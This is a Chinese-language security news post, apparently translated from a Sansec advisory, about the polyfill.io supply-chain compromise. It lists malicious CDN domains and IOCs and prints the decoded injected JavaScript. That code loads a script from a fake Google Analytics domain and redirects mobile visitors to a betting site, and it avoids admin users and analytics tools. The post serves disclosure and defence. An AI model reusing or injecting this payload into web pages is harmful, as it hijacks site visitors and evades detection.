Polyfill 通常指的是一种用于在旧版浏览器中实现新功能的技术,通常是通过 JavaScript 实现的。Polyfill 可以填补浏览器对新特性的支持不足,使开发人员能够在各种浏览器中使用最新的 Web 技术。
Polyfill JS 项目是一个流行的开源项目,旨在为开发人员提供各种 Polyfill 解决方案,以确保他们的网站或应用程序在各种浏览器中具有一致的功能和体验。这些 Polyfill 可以模拟新的 JavaScript API、HTML5 特性、CSS 特性等,以便在不支持这些功能的浏览器中实现相似的效果。
Polyfill JS 项目通常由开发人员社区共同维护和贡献,旨在帮助开发人员克服跨浏览器兼容性问题。如果您需要在旧版浏览器中使用新功能,可以考虑使用 Polyfill JS 项目中提供的解决方案。
6月28 日更新:我们正在标记更多自2023 年 6 月以来被同一行为者用于传播恶意软件的域名:
bootcdn.net
bootcss.com
staticfile.net
staticfile.org
unionadjs.com
xhsbpza.com
union.macoms.la
newcrbpc.com
6 月 27 日更新:Cloudflare 已将 cdn.polyfill.io 实时重写为他们自己的版本。不久之后,Namecheap 已完全搁置该域名,暂时消除了风险。但是,我们仍建议您从代码中删除任何 polyfill.io 引用。
6 月 26 日更新:有人对我们的基础设施和 BleepingComputer(第一个报道我们研究的人)发起了类似的 DDoS 攻击。
6 月 25 日更新:Google 已经开始屏蔽使用 polyfill.io 的电子商务网站的 Google Ads。
是polyfill.js一个流行的开源库,用于支持旧版浏览器。100K + 个网站使用该cdn.polyfill.io域名嵌入了它。著名用户包括 JSTOR、Intuit 和世界经济论坛。然而,今年 2 月,一家中国公司购买了该域名和 Github 帐户。从那时起,该域名被发现通过嵌入的任何网站向移动设备注入恶意软件cdn.polyfill.io。所有投诉都很快从 Github 存储库中删除(存档在此处)。
polyfill 代码是根据 HTTP 标头动态生成的,因此可能存在多个攻击媒介。Sansec 解码了一个特定的恶意软件(见下文),该恶意软件使用虚假的 Google 分析域 ( ) 将移动用户重定向到体育博彩网站www.googie-anaiytics.com。该代码具有针对逆向工程的特定保护,并且仅在特定时间在特定移动设备上激活。当检测到管理员用户时,它也不会激活。当发现网络分析服务时,它还会延迟执行,大概是为了不出现在统计数据中。
最初的polyfill 作者建议完全不要使用 Polyfill,因为现代浏览器已经不再需要它了。同时,如果您仍然需要它, Fastly和Cloudflare都提供了值得信赖的替代方案。
此事件是供应链攻击的典型例子。为了了解用户正在加载的代码,我们推荐我们的(免费)CSP 监控服务Sansec Watch。
eComscan 后端扫描仪也已更新polyfill.io检测。
Polyfill 恶意负载示例
我们添加了一些名称以提高可读性,但这些名称tiaozhuan
来自原始恶意软件(中文意思是“跳跃”)。
function isPc() {
try {
var _isWin =
navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac =
navigator.platform == "Mac68K" ||
navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" ||
navigator.platform == "MacIntel";
if (_isMac || _isWin) {
return true;
} else {
return false;
}
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS(
"https://www.googie-anaiytics.com/html/checkcachehw.js",
function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
}
);
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (
_curHost.indexOf("www.dxtv1.com") !== -1 ||
_curHost.indexOf("www.ys752.com") !== -1
) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_hours >= 0 && _hours < 2) {
if (_rnd <= 10) {
_redirectURL = _kuurzaBitGet;
}
} else {
if (_hours >= 2 && _hours < 4) {
_rnd <= 15 && (_redirectURL = _kuurzaBitGet);
} else {
if (_hours >= 4 && _hours < 7) {
_rnd <= 20 && (_redirectURL = _kuurzaBitGet);
} else {
_hours >= 7 && _hours < 8
? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
: _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
}
}
}
}
}
}
_redirectURL != "" &&
!isPc() &&
document.cookie.indexOf("admin_id") == -1 &&
document.cookie.indexOf("adminlevels") == -1 &&
vfed_update(_redirectURL);
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
IOC
https://kuurza.com/redirect?from=bitget
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/ga.js
https://cdn.bootcss.com/highlight.js/9.7.0/highlight.min.js
https://union.macoms.la/jquery.min-4.0.2.js
https://newcrbpc.com/redirect?from=bscbc
bootcdn.net
staticfile.net
staticfile.org
unionadjs.com
xhsbpza.com
原文始发于微信公众号(OSINT研习社):Polyfill 供应链攻击波及 10 万多个网站
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论